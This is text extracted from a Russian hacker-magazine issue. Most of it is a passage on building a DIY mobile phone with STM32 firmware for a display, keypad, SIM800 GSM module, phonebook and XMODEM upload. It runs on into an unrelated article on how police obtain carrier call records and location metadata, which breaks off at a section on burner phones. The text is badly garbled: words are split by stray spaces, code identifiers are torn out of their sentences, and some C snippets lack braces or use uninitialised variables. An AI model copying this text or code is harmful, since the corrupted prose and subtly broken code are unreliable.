#142 ch = usart_recv_blocking(UART);

Те перь  модулю  мож но  отправ лять  коман ды  вида  ,
а  ответ  модуля  при нима ется  с  исполь зовани ем  пре рыва ний  и  сох раня ется
в буфер. Пос ле  при ема  содер жимое  ана лизи рует ся,  и  если  это  ожи даемый
ответ, то вызыва ется фун кция‐обра бот чик, которая исполь зует ся для вывода
сооб щений  SMS  и  USSD.  Так же  воз можен  непос редс твен ный  вывод  сооб‐ 
щения на экран, что очень удоб но при отладке.

printf_("AT_command")

РАБОТА С ЭКРАНОМ
Как и любую дру гую перифе рию, дис плей перед исполь зовани ем пред сто ит
ини циали зиро вать.  Конеч но,  сегод ня  под ходящий  код  мож но  най ти  и  в
интерне те, но я решил написать реали зацию самос тоятель но. Это не отни мет
мно го  вре мени,  зато  поз волит  луч ше  узнать  воз можнос ти  мик росхе мы
ST7735.  Я  ори енти ровал ся  на  докумен тацию  ( )  про изво дите ля  и  брал
за осно ву готовые   в псев докоде.
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при меры

static void spi1_setup(void){
   /* Enable SPI1 Periph and gpio clocks */
   rcc_periph_clock_enable(RCC_SPI1);
   rcc_periph_clock_enable(RCC_GPIOA);
   /* Configure GPIOs:
     * SCK = PA5
     * DC = PA6
     * MOSI = PA7 
     * CS = PA1
     * RST = PA4
     * LED = PB0
     */
   gpio_set_mode(GPIOA, GPIO_MODE_OUTPUT_50_MHZ, GPIO_CNF_OUTPUT
_ALTFN_PUSHPULL, GPIO5 | GPIO7);
   gpio_set_mode(GPIOA, GPIO_MODE_OUTPUT_50_MHZ, GPIO_CNF_OUTPUT
_PUSHPULL, GPIO4 | GPIO6 | GPIO1);
   /* Reset SPI, SPI_CR1 register cleared, SPI is disabled */
   spi_reset(SPI1);
   /* Set up SPI in Master mode with:
     * Clock baud rate: 1/64 of peripheral clock frequency
     * Clock polarity: Idle High
     * Clock phase: Data valid on 2nd clock pulse
     * Data frame format: 8‐bit
     * Frame format: MSB First
     */
   spi_init_master(SPI1, SPI_CR1_BAUDRATE_FPCLK_DIV_2, SPI_CR
1_CPOL_CLK_TO_0_WHEN_IDLE, SPI_CR1_CPHA_CLK_TRANSITION_1, SPI_CR
1_DFF_8BIT, SPI_CR1_MSBFIRST);
   /* Set NSS management to software */
   spi_enable_software_slave_management(SPI1);
   spi_set_nss_high(SPI1);
   /* Enable SPI1 periph. */
   spi_enable(SPI1);
   gpio_set(GPIOA, GPIO1);
}

В  биб лиоте ке  пос ледова тель но  реали зова ны  фун кции  отри сов ки  точек,
линий,  окружнос тей,  печати  сим волов  и  целых  строк  и  обновле ния  экра на.
Так же под держи вает ся вывод сим волов кирил лицы в кодиров ке  . Клю‐ 
чевой  ком понент  кода —  вызов  ,  который  поз‐ 
воля ет пос ледова тель но выводить на экран стро ки, в том чис ле и с управля‐ 
ющи ми пос ледова тель нос тями. На дан ный момент под держи вают ся сим волы
перево да стро ки ( ), воз вра та карет ки ( ), очис тки экра на ( ) и бэк спей са
( ).

CP866
st7735_sendchar(char*  c)

\n \r \a
\b

void st7735_sendchar(char ch){
   uint16_t px, py;

   gpio_clear(STPORT, STCS);
   if (ch == '\r') {
       pos ‐= pos % 26;
       return;
   }
   if (ch == '\n') {
       pos += 26;
       pos ‐= pos % 26;
       return;
   }
   if (ch == '\a') {
       pos = 0;
       st7735_clear(bg_color);
       return;
   }
   if (ch == '\b') {
       pos‐‐;
       px = (pos % 26) * 6;
       py = (pos / 26) * 8;
       st7735_drawchar(px, py, 0x20, txt_color, bg_color);
       return;
   }
   if(pos > 416) {
       pos=0;
       st7735_clear(bg_color);
   }
   px = (pos % 26) * 6;
   py = (pos /26) * 8;

   st7735_drawchar(px, py, ch, txt_color, bg_color);
   pos++;
   while (SPI_SR(SPI) & SPI_SR_BSY);
   gpio_set(STPORT,STCS);
}

По умол чанию исполь зует ся зеленый текст на чер ном фоне. Цве та мож но ука‐ 
зать явно, с помощью вызова фун кции 

.  Кро ме  того,  реали зова на  допол нитель ная фун кция
вывода текуще го сим вола, который поль зователь набира ет на кла виату ре.

st7735_set_printf_color(unit16_t
text, uint16_t back)

void st7735_virt_sendchar(char ch){
   uint16_t px, py;
   gpio_clear(STPORT, STCS);
   px = (pos % 26) * 6;
   py = (pos / 26) * 8;
   if (ch > 0x20)  {
       st7735_drawchar(px, py, ch, RED, bg_color);
   }
   while (SPI_SR(SPI) & SPI_SR_BSY);
   gpio_set(STPORT, STCS);
}

Она похожа на  ,  но не обра баты вает  управля ющие пос‐ 
ледова тель нос ти  и  не  меня ет  текущую  позицию  сим вола.  Таким  обра зом,
вызов фун кции   пос ле   перери‐ 
сует на экра не сим вол, выведен ный  .

st7735_sendchar()

st7735_sendchar() st7735_virt_sendchar()
st7735_virt_sendchar()

КЛАВИАТУРА
Весь  набор  кно пок  под клю чен  через  сдви говые  регис тры  к  прог рам мно му
SPI. Обра баты вает поль зователь ский ввод биб лиоте ка  . У кла виату ры
две рас клад ки — рус ская и англий ская, в  каж дой рас клад ке за кноп кой зак‐ 
репле но по четыре сим вола.

4х4key

Тут я нес коль ко отсту пил от клас сики кно поч ных телефо нов нулевых годов —
выбор кон крет ного сим вола опре деля ется не количес твом кли ков, а дли тель‐ 
ностью  нажатия.  Это  свя зано  с  тем,  что  в  мобиль никах  обыч но  исполь‐ 
зовались мем бран ные кла виату ры, а так товые кноп ки тугие и переби рать бук‐ 
вы уже не так удоб но.

Рас смот рим  про цесс  обра бот ки  вво да  под робнее.  За  опрос  кла виату ры
отве чает фун кция  . Для это го исполь зует ся про цеду ра 
которая счи тыва ет текущее сос тояние сдви говых регис тров и воз вра щает два
бай та информа ции от кно пок. Сочета ний кла виш в дан ный момент нет, но их
мож но лег ко добавить при необ ходимос ти.

get_key() ,read_key()

Рас клад ка  перек люча ется  при  получе нии  кода  ,  в  любом  дру гом
слу чае воз вра щает ся код сим вола. В зависи мос ти от выб ранно го язы ка зна‐ 
чение перемен ной   инкре мен тиру ется.

0x0002

ch_map

...
while (!key_code) {
   key_code = read_key();
}
do { 
   if(key_code == 0x0002) {
       if (ch_map < 2) {
           ch_map++; 
       else {
           ch_map = 0;
       }
       show_char_map(ch_map);
       while(key_code==2) key_code=read_key();
   }
   while(!key_code) {
       key_code = read_key();
   }
} while (key_code == 0x0002);
...

Те перь вызыва ется фун кция  , которая при нима ет на вход код кла‐ 
виши  и  номер  текущей  рас клад ки.  Она  ищет  нуж ный  сим вол  в  мас сиве

  и  воз вра щает  резуль тат.  Логика  даль нейшей  обра бот ки  вво да
зависит от получен ного сим вола.

key_map()

char_map

...
if (key == '\n') {
   delay(500);
} else if (key == '\b') {
   delay(500);
} else if(key == ' ') {
#ifdef ECHO
   st7735_virt_sendchar(key);
#endif
   delay(800);
   timer_start();
   old_keycode = key_code;
   do {
       key_code = read_key();
       if (key_code){
           if (key_code == old_keycode) { 
               count++;
               if (count > 15) {
                   count = 0;
               }
               wait_key_counter = 0;   
           } else {
               count = 0; 
               break;
           }
           key = keymap2(count, 2);
#ifdef ECHO
           systick_interrupt_disable();
           st7735_virt_sendchar(key);
           systick_interrupt_enable();
#endif
           delay(900);
   }
} while (wait_key_counter < 1000);
timer_stop();
...

Об работ чик  кла виату ры  вышел  слож нее,  чем  мне  бы  хотелось,  но  зато  я
получил  прак тичес ки  все  необ ходимые  сим волы  на  шес тнад цати  кла вишах,
что  доволь но  удоб но. Одна ко  в  некото рых  слу чаях  хотелось  бы мгно вен ной
реак ции  на  нажатие  кно пок:  нап ример,  ког да  вызыва ются  пун кты  меню
или  при нима ется  вхо дящий  вызов.  Для  этих  целей  реали зова на  отдель ная
фун кция  ,  которая  работа ет  с  усе чен ным  мас сивом  сим‐ 
волов.

fast_get_key()

char fast_get_key() {
   uint16_t key_code;

   char key;
   while (!key_code) {
       key_code=read_key();
   }   
   key = keymap(key_code, 0);
   while (read_key()) {
        __asm__("nop");
   }
#ifdef ECHO
   echo(key);
#endif
   return key;
}

Те перь,  ког да есть дис плей и  кла виату ра,  от  соз дания  тер минала нас отде‐ 
ляют  толь ко  фун кции    и  .  Они  были  реали зова ны
с помощью уже упо минав шей ся биб лиоте ки  , но изме нений тут пот‐ 
ребова лось чуть боль ше.

stprintf() kscanf()
rprintf

int stprintf(const char \*format, …) {
   va_list arg;
   va_start(arg, format);
   stprintf_((&st7735_sendchar), format, arg);
   va_end(arg);
   return 0;
}

Продолжение статьи →
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БЕЗ СЛЕЖКИ
И ЗАКЛАДОК

КАК СОБРАТЬ СВОЙ МОБИЛЬНИК И ПОЧЕМУ
СЕГОДНЯ ЭТО ПРОЩЕ, ЧЕМ КАЖЕТСЯ

COVERSTORY  НАЧАЛО СТАТЬИ←

С фун кци ей   все нес коль ко слож нее, так как у нас есть две фун кции
получе ния  сим вола  с  кла виату ры.  Поэто му  при дет ся  объ еди нить  их  в  одну,
орга низо вав  перек лючение  вво да  меж ду    и  .
Заод но добавим под дер жку управля юще го сим вола  .

kscanf()

get_key() fast_get_key()
\b

void set_scanf_mode(unsigned char mode) {
   fast_mode=mode;
}

int kscanf(const char* format, …) {
   va_list args;
   va_start( args, format );

   int count = 0;
   char ch = 0;
   char buffer[kscanf_buff_size];
   kscanf_buffer = buffer;

   while (count <= kscanf_buff_size ) {
       if(fast_mode) {
           ch = fast_get_key();
       } else {
           ch = get_key();
       }
       if (ch == '\b') {
           if (kscanf_buffer > buffer) {
               kscanf_buffer‐‐;
           }   
           continue;
       } else {
           count++;
       }
       if (ch != '\n' && ch != '\r') {
           *kscanf_buffer++ = ch; 
       else {
           break;
       }
   }

   *kscanf_buffer = '\0';
   kscanf_buffer = buffer;
   count =  ksscanf(kscanf_buffer, format, args);
   va_end(args);
   return count;
}

Та ким обра зом мы реали зова ли сис тему вво да‐вывода и теперь име ем прак‐ 
тичес ки  пол нофун кци ональ ный  тер минал.  Нап ример,  что бы  очис тить  экран
и вывес ти тра дици онное при ветс твие, дос таточ но написать строч ку

stprintf("\aHello World!");

МОДУЛЬ GSM
Рас смот рим работу с SIM800 на при мере с отправ кой SMS, осталь ные фун‐ 
кции ведут себя ана логич но. Будем исполь зовать тек сто вый режим, так как он
более  наг лядный.  Допол нитель но  для  отправ ки  сооб щений  на  кирил лице
нуж но заранее нас тро ить кодиров ку.

void sim800_init_cmd() {
   printf_("AT+CMGF=1\r\n");
   for (uint32_t i = 0; i < 0xFFFFFF; i++) __asm__("nop");
   printf_("AT+CSCS=\"UCS2\"\r\n");
   for (uint32_t i = 0; i < 0xFFFFFF; i++) __asm__("nop");
   printf_("AT+CSMP=17,167,0,8\r\n");
   for (uint32_t i = 0; i < 0xFFFFFF; i++) __asm__("nop");
}

void fast_sms_send(char *text, char *tel) {
   char *p_tel;
   char u_tel[64]="+7";
   char temp[512];

   if (tel[0] == '8') {
       p_tel = tel + 1;
   } else if (tel[0] == '+') {
       p_tel = tel + 2;
   } else {
       p_tel = tel;
   }

   strcat(u_tel, p_tel);
   strcpy(temp, text);
   cp866_to_utc2(temp);
   cp866_to_utc2(u_tel);
   stprintf("\aSend sms\r\nAT+CMGS=\"%s\"\r\n%s\x1A", u_tel, temp);
   printf_("AT+CMGS=\"%s\"\r\n", u_tel);

   for (uint32_t i = 0; i < 0xFFFFFF; i++) __asm__("nop");
   printf_("%s\x1A", temp);
}

Те перь  мож но  исполь зовать  в  коде  что‐то  осмыслен ное  и  понят ное,  нап‐ 
ример

fast_sms_send("Hello world!", "89162402484");

Поп робу ем передать стро ку на  кирил лице,  пред варитель но вклю чив нуж ную
кодиров ку:

void write_sms() {
   char text[256];
   char tel[13];
   uint8_t ret_code;

   stprintf("\aSMS writer v0.01\r\n"
                   "Enter the sms text\r\n"
                   ">");
   kscanf("%s", text);
   ret_code = telbook_get_number(tel);
   if(!ret_code) {
       return;
   }
   fast_sms_send(text, tel);   
}

К сло ву, здесь в качес тве номера кон такта исполь зует ся запись из телефон‐ 
ной кни ги. Думаю, о ней сто ит рас ска зать чуть под робнее.

ТЕЛЕФОННАЯ КНИГА
Как я уже говорил, информа ция о кон тактах хра нит ся в мик росхе ме внеш ней
памяти. Каж дая запись занима ет 32 бай та: шес тнад цать на номер телефо на
и  столь ко  же  на  имя  або нен та.  Сей час  эти  дан ные  у  меня  записы вают ся
откры тым  тек стом,  без  шиф рования.  Конеч но,  желатель но  исполь зовать
здесь AES или любой дру гой блоч ный шифр.

INFO

Пом ни,  что  реали зация  в  устрой стве  даже  про‐ 
верен ных  алго рит мов  может  содер жать  в  себе
уяз вимос ти и при вес ти к утеч ке важ ной информа‐ 
ции. Под робнее об ата ках по сто рон ним каналам
и  спо собе  про тиво дей ствия  им  читай  в  статье
«

».

Ап парат ный  CTF.  Лег кий  спо соб  узнать  ключ
шиф рования, ког да у тебя под рукой осциллог раф
и ноут бук

Ос новные воз можнос ти телефон ной кни ги поз воля ют выб рать нуж ный номер
кон такта ( ), а так же добавить или уда лить уже сущес‐ 
тву ющий  (   и  ).  Кро ме  того,  мож но
про извести  поиск  име ни  по  телефо ну  с  помощью фун кции 

.  Для  низ коуров невого  вза имо дей ствия  с  мик росхе мой  памяти
написа на биб лиоте ка  , которая берет на себя все нюан сы аппа рат ной
реали зации.

telbook_get_number()
telbook_rec_add() telbook_rec_del()

telbook_find_‐
name()

25q32

РАБОТА С ГРАФИКОЙ
Что мож но еще поп робовать, рас полагая цвет ным дис пле ем и нес коль кими
мегабай тами  сво бод ной  памяти?  Ну  конеч но  же,  вывод  изоб ражений,
это само про сит ся! Мобил ка лег ко перева рива ет фай лы ВМР с раз решени‐ 
ем 128 на 160 и глу биной цве та в 16 бит. Кар тинки хра нят ся во внеш ней мик‐ 
росхе ме  и  отоб ража ются  на  экран  с  помощью фун кции  ,
которая  при нима ет  адрес  начала  мас сива  пик селей.  Струк тура  фор мата
очень прос тая,  но, если  ты ее забыл,  всег да мож но почитать про заголо вок
и сме щение в  .

img_from_flash()

ин терне те

Изоб ражение на экран выводит ся час тями с исполь зовани ем буфера на сте‐ 
ке.  В  каж дом  про ходе  4096  байт  счи тыва ются  из  памяти  в  буфер,  а  потом
пересы лают ся на экран. Конеч но, мож но заметить, что у F103C8T6 есть кон‐ 
трол лер DMA,  который  пред назна чен  имен но  для  таких  задач.  Но,  так  как  у
нас  нет  воз можнос ти  ста тичес ки  раз местить  весь  буфер  кад ра  в  памяти,
выиг рыш от исполь зования DMA здесь будет минималь ным.

void img_from_flash_v3(uint32_t addr) {
   uint8_t bufer[4096];
   gpio_clear(STPORT, STCS);
   st7735_sendcmd(ST7735_MADCTL);
   st7735_senddata(1 << 7);
   while (SPI_SR(SPI) & SPI_SR_BSY);
   gpio_set(GPIOA, STCS);

   for(uint8_t i = 0; i < 10; i++) {
       w25_read(addr + (i * 4096), bufer, 4096);
       st7735_drawimg(0,0+16*i,128,16, bufer);
   }

   gpio_clear(STPORT, STCS);
   st7735_sendcmd(ST7735_MADCTL);
   st7735_senddata(MV | MX);
   while (SPI_SR(SPI) & SPI_SR_BSY);
   gpio_set(STPORT, STCS);
}

Ра зуме ется,  перед  тем  как  обра щать ся  к  изоб ражени ям  в  памяти,  пред‐ 
варитель но  их  сле дует  туда  все  же  записать.  Для  это го  исполь зует ся
UART2 и про токол  . На при нима ющей сто роне я обра баты ваю дан ные
фун кци ей  ,  которой  переда ется  адрес  начала  фай ла
во фле ше.

xmodem
xmodem_to_flash()

void xmodem_to_flash(uint32_t addr) {
   unsigned char buf[132];
   uint32_t byte = 0;
   uint8_t lastlen, ch;

   usart2_init();
   usart_send_blocking(USARTX, NAK);
   while(1){
       ch = usart_recv_blocking(USARTX);
       if (ch == SOH){
           for (uint8_t i = 0; i < 131; i++) {
               ch = usart_recv_blocking(USARTX);
               buf[i]=ch;
           }
           lastlen=129;
           while(buf[lastlen‐‐] == EOF);
           lastlen ‐= 1;
           w25_write(addr + byte, buf + 2, lastlen); 
           byte += lastlen; 
           usart_send_blocking(USARTX,ACK);
           continue;
       }
       if (ch == EOT){
           usart_send_blocking(USARTX, ACK);
           break;
       }
   }
   usart2_deinit();
}

Та ким  обра зом,  для  записи  фай ла  с  компь юте ра  я  начинаю  переда чу
с  помощью  тер миналь ной  прог раммы  (нап ример,  ),  пос ле  чего
любым удоб ным спо собом вызываю фун кцию  .

minicom
xmodem_to_flash()

ЭНЕРГОСБЕРЕЖЕНИЕ
Ма лое вре мя авто ном ной работы — сла бое мес то сов ремен ных смар тфо нов,
в  том  чис ле  даже  флаг ман ских  аппа ратов.  В  сво ем  про екте  я  исполь зовал
нес коль ко спо собов сок ращения энер гопот ребле ния.

В  пер вую  оче редь  посадим  на  сухой  паек  ради омо дуль.  Коман да
 и высокий уро вень на выводе DTR перево дят SIM800C в спя щий

режим ( ). При этом все еще сох раня ется воз можность при‐ 
нимать  вхо дящие  вызовы  и  SMS,  но  для  переда чи  команд  с  мик рокон трол‐ 
лера  нуж но  вновь  подать  низ кий  уро вень  на  DTR  и  выж дать  поряд ка  50  мс
( ). В  таком режиме пот ребле ние сос тавля ет все го нес коль ко
мил лиам перов.

AT+CSCLK=1
sim800_sleep()

sim800_wake()

Под свет ка  дис плея  тоже  пот ребля ет  немало,  так  что  на  вре мя  ожи дания
логич но отклю чать и ее (фун кции   и  ). Одна ко
основной  выиг рыш  элек тро энер гии  получа ется  за  счет  перево да мик рокон‐ 
трол лера  в  режим  глу боко го  сна,  это  поз воля ет  сэконо мить  допол нитель‐ 
ные 30 мА.

st7735_sleep() st7735_wake()

void standby (void) {
   SCB_SCR |= SCB_SCR_SLEEPDEEP;
   PWR_CR |= PWR_CR_PDDS;
   PWR_CR |= PWR_CR_CWUF;

__asm__("WFI");
}

Зак лючитель ная строч ка кода ( ) перево дит F103C8T6 в режим
ожи дания,  из  которо го  он  выходит,  толь ко  ког да  нас тупа ет  пре рыва ние.
В  нашем  слу чае  это  подача  низ кого  уров ня  на  вывод  REST  мик рокон трол‐ 
лера.

Wait For Interrupt

ИНТЕРФЕЙС
Ин терфейс  устрой ства  тек сто вый  и  реали зован  дос таточ но  прос то.
При вызове соот ветс тву юще го меню очи щает ся экран и появ ляет ся под сказ‐ 
ка  с  фун кци ями  кла виш.  Пос ле  это го  ожи дает ся  поль зователь ский  ввод,
и цикл пов торя ется. Все фун кции меню соб раны в отдель ном фай ле  .menu.c

void main_help_menu(void) {
   stprintf("\aHELP\r\n"
                       "~ ‐ ATA\r\n"
                       "! ‐ ATH\r\n"
                       "1 ‐ data menu\r\n"
                       "2 ‐ call menu \r\n"
                       "3 ‐ img menu\r\n"
                       "4 ‐ power menu\r\n"
                       "5 ‐ sim800 menu\r\n"
                       "6 ‐ help\r\n"
                       "7 ‐ sim800 PWR\r\n"
                       "8 ‐ sleep\r\n"
                       "9 ‐ sleep logo\r\n"
                       "* ‐ tel book\r\n"
                       "0 ‐ sms menu");
}

void get_keybord_cmd(void) {
   char bufer[64];
   uint32_t addr,  l, n = 4096;
   char key;
   key=fast_get_key();

   switch (key){
       case '1': data_menu(); break;
       case '2': telbook_menu_v2(); break;
       case '3': img_menu(); break;
       case '4': power_menu(); break;
       case '5': sim800_menu(); break;
       case '6': main_help_menu(); break;
       case '7': sim800_power(); break;
       case '8': st7735_sleep(); 
                       w25_powerdown(); 
                       standby();
                       break;
       case '9': w25_powerdown();
                       standby();
                       break;
       case '0': sms_menu(); break;
       case '*': telbook_menu(); break;
       case '~': sim800_take_call(); break;
       case '!': sim800_ath(); break;
   }
   return; 
}

Крат ко рас ска жу о некото рых фун кци ях глав ного меню. Коман да ATA поз воля‐ 
ет  при нять  вхо дящий  вызов,  коман да  ATH  откло няет  вызов  или  завер шает
зво нок. Меню data облегча ет работу с внеш ней памятью и дает воз можность
в  реаль ном  вре мени  пос мотреть  дамп  любого  учас тка,  как  в  ASCII,  так  и  в
HEX.  Так же  здесь  мож но  переза писать  бай ты  по  про изволь ным  адре сам,
вплоть до руч ного управле ния полями в кон тактах  (хотя кон крет но для это го
удоб нее вос поль зовать ся под ходящим раз делом).

Ме ню call слу жит для быс тро го набора номера из телефон ной кни ги, тог да
как  tel  book  поз воля ет  редак тировать  и  добав лять  записи  новых  або нен тов.
Power  menu  управля ет  нас трой ками  энер госбе реже ния,  а  коман ды  sleep
и sleep logo перево дят устрой ство в режим сна (при мер но 6 и 9 мА пот ребле‐ 
ния соот ветс твен но).

Есть и нес коль ко допол нитель ных полез ностей. Меню img выпол няет фун‐ 
кции  галереи  и  пре дос тавля ет  дос туп  к  сох ранен ным  кар тинкам,
а  sim800  нап рямую  вза имо дей ству ет  с  ради омо дулем  через  стан дар тные 

  Как  буд то  не  самая оче вид ная  вещь,  но  она мне  здо рово  при‐ 
годи лась при отладке.

.команды АТ

ИДЕИ И РАЗВИТИЕ ПРОЕКТА
Я получил боль шое удо воль ствие от работы над сво ей мобил кой, пос ледова‐ 
тель но воп лощая в жизнь раз ные фун кции, отлавли вая ошиб ки и решая воз‐ 
ника ющие  в  про цес се  задачи. И  само собой,  оста нав ливать ся  на дос тигну‐ 
том я вов се не намерен. Вот нес коль ко идей, которые я пока не реали зовал,
но уже зап ланиро вал на бли жай шее будущее: встро енные игры, шиф рование
дан ных,  отправ ка  и  при ем  MMS,  запис ная  книж ка,  допол нитель ные  поля
в кон тактах.

И это далеко не пол ный спи сок. Сов ремен ные мик рокон трол леры име ют
мас су  полез ных  интерфей сов  и  поз воля ют  под клю чать  самую  раз ную
перифе рию: мик росхе мы внеш ней опе ратив ной памяти, кар точки SD, экра ны
с  высоким  раз решени ем  и  даже  циф ровые  камеры.  Кажет ся,  так  мож но
увлечь ся и соб рать пол ноцен ный смар тфон!

https://xakep.ru/2019/08/12/hardware-ctf/
https://ru.wikipedia.org/wiki/BMP
https://en.wikipedia.org/wiki/XMODEM
https://en.wikipedia.org/wiki/Minicom
http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0360e/CHDEEIJB.html
https://ru.wikipedia.org/wiki/AT-%D0%BA%D0%BE%D0%BC%D0%B0%D0%BD%D0%B4%D1%8B
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Пред ставь  себе  такую  ситу ацию:  неиз вес‐ 
тный  зво нит  с  одно разо вого  телефо на
и тре бует выкуп за похищен ного им челове‐ 
ка.  На  сле дующий  день  прес тупник  зво нит
еще  раз.  Жер тва  обра щает ся  в  полицию,
и  уже  через  пол часа  там  узна ют  не  толь ко
нас тоящий  номер  зво нив шего,  но  и  всю
исто рию его переме щений и звон ков. И все
это  без  слож ной  тех ники,  под дель ных
базовых стан ций и перех вата сиг нала.

ВСЕВИДЯЩЕЕ ОКО
Мы регуляр но пишем об уяз вимос тях смар тфо нов, сетей переда чи дан ных и о
безопас ности облачных сер висов. Мы нас толь ко при вык ли «думать слож но»,
что сов сем забыва ем о сущес тво вании гораз до более прос тых и эффектив‐ 
ных методов, дос тупных полиции раз ных стран.

За час тую  полиция  не  будет  даже  пытать ся  что‐то  взло мать  или  перех‐ 
ватить,  а  прос то  сде лает  зап рос  к  опе рато ру  сотовой  свя зи,  и  пос ледний
отдаст  не  толь ко  исто рию  звон ков,  но  и  мас су  дру гой  инте рес ней шей
информа ции.  Как  при мер:  ,  в  которой
про ана лизи рова на информа ция, соб ранная о самом жур налис те его сотовым
опе рато ром за пос ледние два года (и толь ко она).

статья  об  авс тра лий ском  жур налис те

По авс тра лий ским  законам опе рато ры  сотовой  свя зи обя заны  в  течение
двух лет хра нить опре делен ную информа цию о поль зовате лях сети, базу 

. Сюда вхо дит информа ция о мес тополо жении устрой ства в каж‐ 
дый  момент  вре мени  (кста ти,  недав но  в  Шве ции  был  соз дан  пре цедент:
одной лишь этой информа ции недос таточ но для вынесе ния при гово ра), жур‐ 
нал  звон ков,  вклю чая  информа цию  о  дру гом  або нен те,  и  дан ные  о  сес сиях
выхода в интернет. Что каса ется SMS, то по авс тра лий ско му закону об охра не
час тной  жиз ни  без  пред варитель ной  сан кции  на  прос лушива ние  опе ратор
име ет пра во (и обя зан) сох ранить лишь метадан ные: вре мя отправ ки, раз мер
сооб щения и адре сата. Содер жимое самих сооб щений (а тем более голосо‐ 
вых звон ков) не сох раня ется.

Call
detail record

Так выг лядит информа ция, соб ранная о жур налис те опе рато ром.

Мес та, которые посетил жур налист 1 апре ля 2015 года.

Мес та,  которые  он  чаще  все го  посещал  во  вре мя  задан ного  вре мен ного
отрезка.

 дос тупны инте рак тивные вер сии этих дан ных.По ссыл ке
Ме тадан ные  вклю чают  информа цию  о  том,  кому  зво нил  и  писал  сооб‐ 

щения поль зователь, о дли тель нос ти звон ков и о том, к каким базовым стан‐ 
циям в какой момент вре мени под клю чал ся телефон (такая информа ция поз‐ 
воля ет дос таточ но точ но уста новить мес тополо жение устрой ства). В некото‐ 
рых стра нах (не будем показы вать паль цем, но это США) опе рато ры не толь‐ 
ко выда ют информа цию о мес тополо жении поль зовате ля полиции, но и с удо‐ 
воль стви ем  .при тор говыва ют такими дан ными

Са мое инте рес ное, что опе рато рам сотовой свя зи дос тупны (и выда ются
полиции,  а  так же про дают ся любому жела юще му) детали об исполь зовании
интерне та,  вклю чая  адре са  сай тов  и  объ ем  передан ных  дан ных.  Это  —
совер шенно отдель ная тема для обсужде ния; дан ные собира ют, отсле живая
зап росы  к  DNS‐сер верам  про вай дера.  Эти ми  дан ными  опе рато ры  так же
с  радостью  при тор говыва ют;  кор мушка  нас толь ко  прив лекатель на,  что  опе‐ 
рато ры  даже 

.
пы тались  бло киро вать  исполь зование  кли ента ми  сто рон них

DNS‐сер веров

INFO

К  сло ву  говоря,  выдан ные  (навязан ные)  ста‐ 
ционар ными  интернет‐про вай дерами  устрой ства
(обыч но  —  ком биниро ван ный  кабель ный
или ADSL‐модем + роутер) зачас тую не поз воля‐ 
ют  сме нить  DNS‐сер вер  на  роуте ре.  Если
хочешь  —  меняй  на  компь юте ре,  на  каж дом
отдель ном телефо не, умном телеви зоре и колон‐ 
ке, но защитить свою час тную жизнь пол ностью,
прос то задав нас трой ки роуте ра,  у поль зовате ля
не вый дет.

Мо биль ные  опе рато ры  в  США  так же  обя заны  хра нить  записи  CDR.  Кро ме
того,  в  Соеди нен ных  Шта тах  спец служ бами  под держи вает ся  еди ная  база

, записи в которой могут хра нить ся гораз до доль ше, чем раз реша‐ 
ется по закону самим опе рато рам мобиль ной свя зи.
MAINWAY

В  Рос сии  же  при нят  так  называ емый  ,  который  обя зыва ет
опе рато ров сотовой свя зи в течение трех лет хра нить метадан ные (их спи сок
прак тичес ки пол ностью сов пада ет с авс тра лий ским вари антом закона). Кро‐ 
ме  того,  с  октября  прош лого  года  опе рато ры  обя заны  хра нить  в  течение
как  минимум  30  суток  (но  не  более  шес ти  месяцев)  тек сто вые,  голосо вые,
видео‐ и дру гие сооб щения поль зовате лей. Соот ветс твен но, в Рос сии любой
зво нок дол жен быть записан опе рато ром и пре дос тавлен полиции по закон‐ 
ному тре бова нию.

за кон  Яро вой

НЕ ТОЛЬКО CDR
В  при веден ном  выше  иссле дова нии  жур налист  Уилл  Окен ден  поль зовал ся
iPhone.  Пра виль но  офор млен ный  зап рос  в  Apple  (по  тер миноло гии  ком‐ 
пании  —  Device  Request,  то  есть  такой  зап рос,  в  котором  у  полиции  нет
ничего,  кро ме  аппа рат ного  иден тифика тора  устрой ства  —  IMEI)  поз волит
полиции  получить  и  те  дан ные,  которые  собира ет  о  поль зовате ле  Apple,
а  туда  вхо дит  поч ти  все  за ред кими исклю чени ями. Вот  так,  нап ример,  выг‐ 
лядит ста тис тика зап росов к Apple в Рос сии.

Для  срав нения,  в  США  за  тот  же  год  полиция  зап росила  информа цию
о  19  318  устрой ствах  (успешны ми  ока зались  81%  зап росов).  Google  пред‐ 
лага ет инте рак тивный гра фик, озна комить ся с которым мож но по  .ссыл ке

И  если  Apple  не  пре дос тавит  полиции  такие  дан ные,  как  пароли  поль‐ 
зовате ля,  ста тис тика  исполь зования  устрой ства,  сооб щения  SMS/iMessage
и дан ные «Здо ровья» (исто рия физичес кой активнос ти поль зовате ля, вклю чая
чис ло шагов и час тоту сер дце биения в задан ном вре мен ном про межут ке, —
полез ней шая вещь для лов ли как прес тупни ков, так и невер ных суп ругов), то
Google  отдаст  все,  в  том  чис ле  пароли  (что бы  быть  пол ностью  тех ничес ки
кор рек тным,  добав лю,  что  в  Android  9  появи лось  шиф рование  резер вных
копий; соот ветс твен но, полиция не получит ни самих бэкапов, ни хра нящих ся
в них SMS и жур налов звон ков).

ОДНОРАЗОВЫЕ ТЕЛЕФОНЫ
Прес тупни ков,  поль зующих ся  сво им  основным  телефо ном  для  звон ков
с  угро зами,  вымога тель ств  и  про чих  уго лов но  наказу емых  деяний,  теперь
поч ти  не  водит ся;  выше  мы  под робно  разоб рались  почему.  Что  оста ется
прес тупни ку? Одно разо вые SIM‐кар ты (пожалуй, не будем сей час обсуждать
спо собы,  которы ми  прес тупни ки  обза водят ся  такими  кар тами)  и  одно разо‐ 
вые  (как  пра вило  —  дешевые  кно поч ные)  устрой ства,  желатель но  вов се
лишен ные воз можнос ти выхода в интернет.

Для того что бы получить хоть какие‐то дан ные о подоз рева емом, полиции
нуж на хотя бы одна зацеп ка —  IMEI впол не дос таточ но. Но что мож но опре‐ 
делить по иден тифика тору устрой ства, которое вклю чалось все го на нес коль‐ 
ко  минут?  Начитав шиеся  кон спи роло гичес ких  теорий  ( )
начина ющие  прес тупни ки  тре пет но  вынима ют  из  телефо на  акку муля тор,
вклю чая устрой ство, лишь что бы совер шить зво нок.

прек расный  при мер

Ра зуме ется,  ник то  из  них  даже  не  задумы вает ся  о  том,  что  про исхо дит,
ког да  устрой ство  вклю чает ся  и  вык люча ется  (как  штат но,  так  и  ава рий но,
с  извле чени ем  акку муля тора).  Тем  более  мало  кто  задумы вает ся  о  том,
извес тно ли опе ратив ным работ никам полиции о таком шаб лоне.

